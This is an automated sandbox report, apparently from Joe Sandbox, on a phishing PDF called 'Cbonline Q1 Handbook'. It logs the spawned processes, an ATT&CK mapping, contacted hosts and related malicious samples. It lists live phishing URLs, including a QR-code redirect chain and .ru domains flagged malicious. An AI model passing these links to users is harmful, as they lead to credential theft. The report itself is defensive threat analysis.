Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Cbonline Q1 Handbook-0782794.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1556,i,7919162136299356296,1518015090656361293,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2304,i,8622359068077814366,17850412118979168873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1556,i,7919162136299356296,1518015090656361293,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2304,i,8622359068077814366,17850412118979168873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Cbonline Q1 Handbook-0782794.pdf	Initial sample: PDF keyword /JS count = 0
Source: Cbonline Q1 Handbook-0782794.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Cbonline Q1 Handbook-0782794.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Cbonline Q1 Handbook-0782794.pdf

Initial sample: PDF keyword obj count = 143

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	3 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09Gw	100%	Avira URL Cloud	phishing
https://kxig5z.zvaznx.ru/kella$c0ez7sqh	0%	Avira URL Cloud	safe
http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ	0%	Avira URL Cloud	safe
https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1zj6oIWRQzZCL5Ww-2BG4OjE-2F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D	100%	Avira URL Cloud	phishing
https://z379sz8.r.us-east-2.awstrack.me/L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
e8652.dscx.akamaiedge.net	2.19.105.127	true	false	high
mandrillapp.com	15.197.175.4	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
kxig5z.zvaznx.ru	104.21.16.1	true	false	unknown
as.krxlexm.ru	172.67.134.191	true	true	unknown
link.pr.clinicsense.com	3.167.227.11	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
t.co	172.66.0.227	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com	13.58.118.141	true	false	high
www.google.com	216.58.206.36	true	false	high
click.halaxy.com	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	high
z379sz8.r.us-east-2.awstrack.me	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1zj6oIWRQzZCL5Ww-2BG4OjE-2F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D	false	Avira URL Cloud: phishing	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://z379sz8.r.us-east-2.awstrack.me/L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201	false	Avira URL Cloud: safe	unknown
https://as.krxlexm.ru/J8eBu/	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://kxig5z.zvaznx.ru/kella$c0ez7sqh	false	Avira URL Cloud: safe	unknown
https://t.co/nPMN4J1OaS	false		high
http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.2.dr	false		high
https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09Gw	chromecache_193.6.dr	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
13.58.118.141	baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	kxig5z.zvaznx.ru	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	unknown	United States	13335	CLOUDFLARENETUS	false
15.197.175.4	mandrillapp.com	United States	7430	TANDEMUS	false
3.167.227.11	link.pr.clinicsense.com	United States	16509	AMAZON-02US	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
2.19.105.127	e8652.dscx.akamaiedge.net	European Union	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.134.191	as.krxlexm.ru	United States	13335	CLOUDFLARENETUS	true
104.16.4.189	unknown	United States	13335	CLOUDFLARENETUS	false
172.66.0.227	t.co	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1631546
Start date and time:	2025-03-07 10:13:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Cbonline Q1 Handbook-0782794.pdf
Detection:	MAL
Classification:	mal84.phis.winPDF@31/69@33/20
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.19.104.203, 142.250.186.35, 142.250.185.78, 64.233.167.84, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 142.250.184.206, 142.250.186.46, 199.232.210.172, 216.58.212.142, 2.22.242.123, 2.22.242.11, 2.23.77.188, 216.58.206.46, 172.217.16.142, 142.250.181.238, 142.250.184.238, 172.217.16.195, 142.250.185.110, 172.217.18.14, 216.58.206.78, 34.104.35.123, 23.60.203.209, 23.46.224.162, 172.202.163.200, 13.107.253.72
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:14:09	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ

Source

URL

Screenshot

http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.94.41	https://spaceavenue.ae/Wilbe/roni.html	Get hash	malicious	HTMLPhisher	Browse
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	voice-recording-DBWONKGPCK-08-03-2025.htm	Get hash	malicious	HTMLPhisher	Browse
	3vnPlay__(Mimi.merhi)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse
	.deveba=.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://zsharepointonlinems.mysteriousroutes.it.com/kOPeS/#fuck@you.com	Get hash	malicious	Unknown	Browse
104.16.6.189	VN_MSG-Splcenter.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceUNVTOZBXQQ.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://nbhg-v.iuksdfb-f.shop/ajax.mp3	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https%3A%2F%2Finstalatorelectrician.ro%2Fwp-includes%2Fstyle-engine%2Ffont%2F0f0003ed0%2Fssl%2F&sa=D&sntz=1&usg=AOvVaw2EiU1rKskj0XNVcYiFbZPE#?em=sales@spectro-uv.com	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
